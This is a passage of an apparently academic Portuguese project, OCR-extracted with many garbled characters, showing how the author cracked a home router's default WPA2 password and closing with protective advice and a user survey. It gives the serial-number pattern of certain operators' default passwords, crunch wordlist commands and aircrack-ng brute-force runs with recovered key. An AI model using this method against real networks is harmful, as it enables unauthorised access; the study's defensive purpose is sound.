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4.3 Pesquisa de senha padréo

Feito isso, agora basta criar uma wordlist para efetuar o ataque, é essencial
para o atacante ter essas informacdes do dispositivo, ESSID, BSSID, pode-se ver
gue € notavelmente um roteador que esta com as configuracdes padrdes, dito isso
0 atacante ira fazer pesquisar em manuais com a propria operadora que fornece o

servigco ou com uma simples pesquisa no Google como mostra na FIGURA 5.

Figura 5 - Captura do HandShake.

GO g|e SenhapadréoWi-Fi- X =E § Q

Fonte: Elaborada pelo autor

Com essa busca foi encontrado na primeira pagina de pesquisa um artigo
sobre as senhas padrbées do modelo de ataque mencionado até entéo, no site, como
mostra na FIGURA 6, temos padrfes estabelecidos pelo modelo trazido para este
projeto, visto que existe na internet diversos padrdes dependendo do modelo e ou
operadora.

Figura 6 - Consulta de senha padréao.

Roteadores Arcadyan disponibilizados principalmente pe\-utilizam como nome padré'XXXX DL-XXX)(

XXXX = 4 dltimos digitos do MAC
A WPA2 padrao desses roteadores é o S/N

Ideia: entender como o serial number dos roteadore: s&o gerados.
Objetivo: através do entendimento do S/N gerar uma tabela e anexar ao software

Update: O model—possw um padréo observado:

As 4 primeiras posicdes da senha véo de J400 a J653.

J4 - J6 = ano de fabricacéo

00 - 53 = a semana da fabricagéo
Os outros 6 componentes da senha s&o nimeros, encurtando bastante uma possivel wordlist.

Fonte: Elaborada pelo autor



4.4 Criando WordList

Com as informacdes obtidas foram criadas 3 listas (figuras 7, 8 e 9) para
descriptografar a senha de acesso a rede sem fio, com 0s seguintes parametros

minimo e maximo 10, com os numeros de 0 a 9 comecando com J4, J5, J6:

Lista 1:

root@Kkali:~# aircrack-ng —w j4.txt chavecapturadal.cap

Figura 7 - Word List 1.
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rootakali:~/Documents# crunch 10 10 0123456789 -t J430d0d0dd -0 j4.txt
Crunch will now generate the following amount of data: 1100000000 bytes
1049 MB

1GB

0 TB

0 PB

Crunch will now generate the following number of lines: 100000000

crunch: 43% completed generating output

crunch: 72% completed generating output

crunch: 100% completed generating output
root@kali:~/Documents# i

Fonte: Elaborada pelo autor




Lista 2:

root@Kkali:~# aircrack-ng —w j5.txt chavecapturada3.cap

Figura 8 - Word List 2.

ShellNo.1
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rootakali:~/Documents# crunch 10 10 0123456789 -t J53aaaadaa -0 j5.txt
Crunch will now generate the following amount of data: 1100000000 bytes
1049 MB

1 GB

0 T8

0 PB

Crunch will now generate the following number of lines: 100000000

crunch: 38% completed generating output
crunch: 65% completed generating output
crunch: 89% completed generating output
crunch: 100% completed generating output
Error renaming file. Statusl = -1 Code = 2

The problem is = No such file or directory
rootakali:~/Documents# [J

Fonte: Elaborada pelo autor
Lista 3:

root@Kkali:~# aircrack-ng —w j6.txt chavecapturada3.cap

Figura 9 - Word List 3.
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rootgkali:~/Documents# crunch 10 10 0123456789 -t J6gaadaaan -o j6.txt
Crunch will now generate the following amount of data: 1100000000 bytes
1049 MB

1 GB

@ TB

@ PB

Crunch will now generate the following number of lines: 100000000

crunch: 36% completed generating output
crunch: 65% completed generating output

crunch: 87% completed generating output

crunch: 100% completed generating output
Error renaming file. Statusl = -1 Code
The problem is = No such file or directory
rootdkali:~/Documentsi# [J

Fonte: Elaborada pelo autor




4.5 Descriptografando com Brutal Force (Forga Bruta).

Com o aircrack-ng € possivel usar as wordlists criadas para descodificar o
handshake capturado no airodump-ng, para isso basta usar o comando aircrack-ng
-w (wordlist) (arquivo do handshake), para acelerar o processo foi replicada o
arquivo handshake capturado para ser usado ao mesmo tempo com as 3 wordlists
geradas.

Neste caso em especifico, como mostra a figura 10, executamos o comando
em 3 janelas do terminal do Linux, mudando apenas a wordlist desejada e a chave

capturada.

root@Kkali:~# aircrack-ng -w j5.txt chavecapturadalimpa2.cap

Figura SEQ Figura \* ARABIC10 - Descriptografando.
Actions Edit View Help File Actions Edit View Help

[00:03:43] 355836/100000000 keys tested (1619.49 k/s) [00:03:49] 369396/100000000 keys tested (1631.74 k/s)

Time left: 17 hours, 5 minutes, 46 seconds Time left: 16 hours, 58 minutes, 5 seconds
Current passphrase: J]500362131 Current passphrase: 1600375075

Master Key : 79 3E 09 46 1A 89 77 3F 94 69 6C 49 1A 56 3E 93 Master Key : 22 7A E6 94 78 5B 75 9F F4 2E 4B E9 EE 8D 15 E4
BE BA CF 5A BE 00 17 E8 B5 16 E2 59 9B B3 B5 82 16 1C 6F AD 94 7E B5 60 3C BF 8F 45 41 4D D@ 73

Transient Key : 7A 2D 22 EC D2 D1 A1 E2 98 4F 55 62 EF B5 EF D9 Transient Key : 8C 7D B@ 2A 26 BC 6D F4 81 C9 24 83 55 @D AE 62
C9 6E F1 27 ED CC OE F2 E@ 85 E5 3F 4A A5 FO F9 9F EA C@ E3 1D @3 FF B4 13 BF 12 88 17 00 7E 8E

75 68 5A BF 54 Al F3 90 D9 1F 90 43 66 ED 10 DA 56 3C F4 67 8B 50 3C FB 28 3E 96 94 F4 6B 6F 1E
93 28 34 8B EC 6F ED D2 E@ BE 4E 02 89 34 58 CD 90 09 88 6E C3 F2 1B 77 96 6B 25 FB 68 FB A8 8D

EAPOL HMAC : 24 1A 25 6E D5 85 93 DC B@ 35 4F 14 66 CE 7E 9B EAPOL HMAC : 3F 6@ 45 C6 FE BD 7E A7 99 CF 8A 7F 06 Al F2 80

l 0

File Actions Edit View Help

[00:03:41] 351420/300000000 keys tested (1615.00 k/s)

Time left: 2 days, 3 hours, 32 minutes, 20 seconds
Current passphrase: J]400356835

Master Key : B5 32 D8 2E AD 31 69 73 F1 FC 7B CE 78 F5 CF FF
BA 8C BB 6D 7D 38 66 B3 8E 3A 7A 63 9D A9 A6 FB

Transient Key : D9 EC 4F E@ AD C9 F7 A2 27 46 96 4B F6 F7 30 EE
63 57 9E B7 41 3F 3E C6 D8 7B 9A 24 C6 EB FB 86
2D 61 08 7A 55 50 72 D3 A6 89 42 FF 9E 63 91 99
D8 48 32 AF 49 54 12 00 3E 25 F8 59 83 54 14 FF

EAPOL HMAC : EB D6 B4 8E 39 BF 53 1C 6D B2 7D 23 53 BA 6C 8C

Fonte: Elaborada pelo autor



Como mostra na FIGURA 11 abaixo, vemos a mensagem “KEY FOUND” e
entre “[ ]” a senha, notamos também que a senha foi decodificada em 6.25% do
processo, demorou por volta de 24 minutos, poderia demorar horas ou dias, mas
com as informacgdes encontradas na internet foi possivel quebrar a senha padrdo

com trés wordlists.

Figura 11 - Descriptografia.

Shell Ne.1
File Actions Edit View Help

[60:24:51] 6255520/100000000 keys tested (4264,
Time left: 6 hours, 6 minutes, 25 seconds

KEY FOUND! [ J606162253
Master Key : B9 S5A 32 7F &4C 75 E2 14

C7 96 62 FC 94 41 @7 26
Transient Key : 5E BA 31 7F 3C 80 CD &7

CD FA 72 FA 8B E2 @@ @@

00 @2 00 00 00 Q0 00 o0

00 @@ 00 00 00 Q0 00 00

EAPOL HMAC z 1C 7B FD 68 F2 4B 6B 19

rootakali:~/Documents# |

Fonte: Elaborada pelo autor



5VALIDACAO
5.1 Padrbdes

Caso a senha nao fosse a padrao poderia demorar dias e dependeria muito
de uma engenharia social para ter sucesso na captura de senha, no caso desse
projeto, como mostrado na figura 12, o alvo foi um roteador com as configuracdes

padrdes aonde nunca foi alterada a senha.

Figura 12 - Senha Padréao.

REDE WI-FI
Bésico Avancado Seguranca
Configuragbes Basicas
Rede Wi-Fi Privada: ® Habilitado O Desabilitado

SSID: _AO 39

Modo de Seguranga

Modo de Seguranga: WPA/WPA2
Tipo de Chave: ® Senha (min 8 caracteres)
Senha: JB06162253

Fonte: Elaborada pelo autor

Se for alterado o SSID e a senha que vem pré-configurada pela operadora é
possivel dificultar a vida de um invasor se ndo até impedir uma invaséo, nesse caso
0 padrao é designado pela operadora aonde a senha é o numero de série do
aparelho.



Figura 13 - Teste de Senha Padréo

J606162253

(¥) Otima senha!

» Sua senha é resistente a invasdes.

» Sua senha ndo aparece em nenhum banco de dados de senhas

vazadas.

Sua password pode ser decifrada com um computador doméstico...

4 meses

) E o tempo que vocé leva para conduzir
\’ 285573 quilémetros qulémetros em sua nova Ferrari

Fonte: Elaborada pelo autor

Foi feito um teste como mostra na FIGURA 13 com a senha padrédo no site
oficial da Kaspersky, aponta que a senha é 6tima, e que demoraria 4 meses para
ser decifrada por um computador doméstico, mas o que quebra essa teoria € o fato
dela ser uma das senhas padrdes em roteadores domésticos.



5.2 METODO DE SEGURANGA

Vale mencionar aqui que existem configuracdes onde podemos ocultar o
SSID do roteador, porem isso dificultaria o acesso, visto que teria que pér o nome
da rede e a senha de acesso.

Existe um método onde podemos gerar um cédigo QR da rede Wi-Fi, que
torna possivel autenticar na rede Wi-Fi apenas lendo o c6digo com a camera do

celular.

Figura 14 - QR CODE

Fonte: Elaborada pelo autor

Para fazer isso basta entrar em um site gerador de QR-Code e preencher com
as informacdes necessarias para acesso, como 0 home e a senha configurada no
roteador, como mostra a FIGURA 15.

Figura SEQ Figura \* ARABIC15 - Gerador de QR Code
WiFi QR Code
Nome da Rede

WIFI SEGURA v (

Senha SI@4*EWSG\

Criptografia

Fonte: Elaborada pelo autor



5.2 Pesquisa de senhas padrdes.

Foi realizada uma pesquisa via Google Forms com as pessoas que tem
acesso Wi-Fi em casa, foi questionado se elas acham a rede Wi-Fi segura e sobre
as senhas de autenticagéo e senhas dos roteadores.

Figura 16 - Pesquisa Wi-Fi Segura

Vocé acha sua rede Wi-Fi Segura?

344 respostas

® Sim
@ Nio

Sim
215 (62,5%)

Fonte: Elaborada pelo autor

Na FIGURA 16 € possivel ver que a grande parte das pessoas confiam na

seguranca do seu Wi-Fi.



Figura 17 - Pesquisa Alteracdo de Senha Wi-Fi

A senha do acesso ao Wi-Fi ja foi alterada alguma vez?

344 respostas

® Sim
@ Nio

Sim
195 (56,7%)
——

Fonte: Elaborada pelo autor

Na FIGURA 17 é possivel verificar que boa parte ja fez a alteracdo de senha
de acesso do Wi-Fi tornando ela mais segura e resistente aos ataques visto nesse
projeto.

Figura 18 - Pesquisa Alteracdo de Senha Roteador
Vocé ja alterou a senha do Roteador?

344 respostas

® Sim
@ Nio

Nao
213 (61,9%)

Fonte: Elaborada pelo autor

E boa parte respondeu que nédo troca a senha do roteador, vale ressaltar aqui
gue existem outros modos de ataque ao acesso de um ponto de Wi-Fi, e 0 modo
mais seguro de se proteger de eventuais problemas é trocando a senha padrao do

roteador.



6 CONCLUSAO

Esse trabalho teve como finalidade conceituar o que é Wi-Fi, ferramentas
utilizadas no método de forca bruta, analisar a forma de quebra de senha usando
procedimentos de certa forma simples e que pode ser executado por qualquer
pessoa, com as informagfes que obtivemos na internet e artigos e livros é o
suficiente para uma invasdo, nela temos desde o método de ataque até a forma de
proteger sua conexao, o intuido foi trazer com mais clareza a fragilidade das senhas
padrdes.

E possivel analisar com a tabela abaixo que grande parte dos pesquisados
acredita que sua rede Wi-Fi € segura, porém alguns nao alteraram se quer alguma
vez a senha do roteador e de acesso ao Wi-Fi, deixando assim a rede vulneravel a

um ataque.

Tabela 2 - Pesquisa com formulario
Perguntas
Vocé acharede Wi-Fi segura?

A senha do acesso ao Wi-Fi ja foi alterada alguma vez?

Vocé ja alterou a senha do roteador?

Fonte: Elaborado pelo autor

Existe algumas precaugdes a serem tomadas que dificultam a invasédo a uma
rede Wi-Fi. A realizacédo deste trabalho propde em aumentar a seguranca de uma
rede que contem conexdao wireless, demonstrando a forma de como age um invasor,
alertando sobre a importancia da troca de senha e da alteragéo de configuragédo de
fabrica dos roteadores domésticos.

Com esse projeto € possivel concluir gue um roteador sem a alteracdo da
senha é mais vulneravel a um ataque de forca bruta do que um roteador com a
senha alterada, o projeto delimitou-se a apenas o teste de um roteador, podendo no
futuro haver testes com outros roteadores, modelos e operadoras, utilizando o
mesmo método apenas alterando as wordlists geradas a partir da pesquisa do

modelo do roteador.
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